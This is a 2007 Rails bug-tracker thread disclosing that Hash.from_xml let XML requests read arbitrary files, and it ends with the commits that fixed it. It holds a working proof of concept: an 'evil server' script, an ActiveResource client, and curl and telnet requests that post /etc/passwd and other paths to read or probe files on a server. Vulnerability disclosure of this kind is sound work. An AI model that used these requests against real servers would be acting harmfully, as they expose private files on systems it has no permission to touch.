Security hole: Hash.from_xml reads arbitary files on disk

I tried the exploit from the front end and can't seem to get it to work.

curl -d "/path/to/xml" "http://localhost:3000/users.xml"

You receive a proper xml errors response.

I did say I'd only tested with ActiveResource.

Here's how to replicate the problem. The following code simulates an evil server:

# srv.rb
require 'webrick'
include WEBrick

s = HTTPServer.new( :Port => 9999 )

s.mount_proc("/"){|req, res|
  res.body = "/var/lib/scrollkeeper/en_GB/scrollkeeper_cl.xml"
  res['Content-Type'] = "text/xml"
}

trap("INT"){ s.shutdown }
s.start

And here is an ActiveResource client which makes a request to this server.

# cli.rb
require "active_resource"
class Foo < ActiveResource::Base; end
Foo.site = "http://localhost:9999/"

res = Foo.find(1)
p res

You'll find that 'res' contains a file on the client's filesystem, i.e. the evil server has forced the client to read an arbitary file on the client's own filesystem which it did not intend to.

(To demonstrate this properly, the filename returned by the evil server should point to an XML file which exists on the client. The filename I gave is just a convenient one which happens to exist on my Ubuntu system.)

I've now tested this, and Rails (1.2.3) is vulnerable as well. To demonstrate, here is a test Rails application which accepts XML POST and just responds with whatever it thinks it received:

# app/controllers/bugs_controller.rb
class BugsController < ApplicationController
  # POST /bugs.xml
  def create
    render :text => params.inspect
  end
end

(remember to add "map.resources :bugs" to config/routes.rb)

And here's what happens if you post a filename to it, as if it were XML:

$ telnet localhost 3000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
POST /bugs.xml HTTP/1.1
Host: localhost:3000
Connection: close
Accept: */*
Content-Type: application/xml
Content-Length: 47

/var/lib/scrollkeeper/en_GB/scrollkeeper_cl.xml
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Sun, 27 May 2007 14:46:22 GMT
Content-Type: text/html; charset=utf-8
Server: WEBrick/1.3.1 (Ruby/1.8.4/2005-12-24)
Content-Length: 18471
Set-Cookie: _xmlbug_session_id=709c41864651ef8b49f084e33205c66c; path=/

{"ScrollKeeperContentsList"=>{"sect"=>[{"categorycode"=>"Applications", "title"=
>"Applications", "sect"=>[{"categorycode"=>"ApplicationsAmusement", "title"=>"Am
...

This also works with curl, but you have to set a Content-Type: application/xml header using -H.

$ curl -H "Content-Type: application/xml" -d "/var/lib/scrollkeeper/en_GB/scrollkeeper_cl.xml" "http://localhost:3000/bugs.xml"
... contents of file on server are returned

You can very easily probe files which do or do not exist on the server, because these return different exceptions:

curl -H "Content-Type: application/xml" -d "/etc/passwd" "http://localhost:3000/bugs.xml"
# "You have a nil object when you didn't expect it!"

curl -H "Content-Type: application/xml" -d "/etc/passwd2" "http://localhost:3000/bugs.xml"
# "File does not exist: /etc/passwd2."

(In [7086]) Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin. Closes #8453.

(In [7087]) Merge [7086] to stable: demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin. References #8453.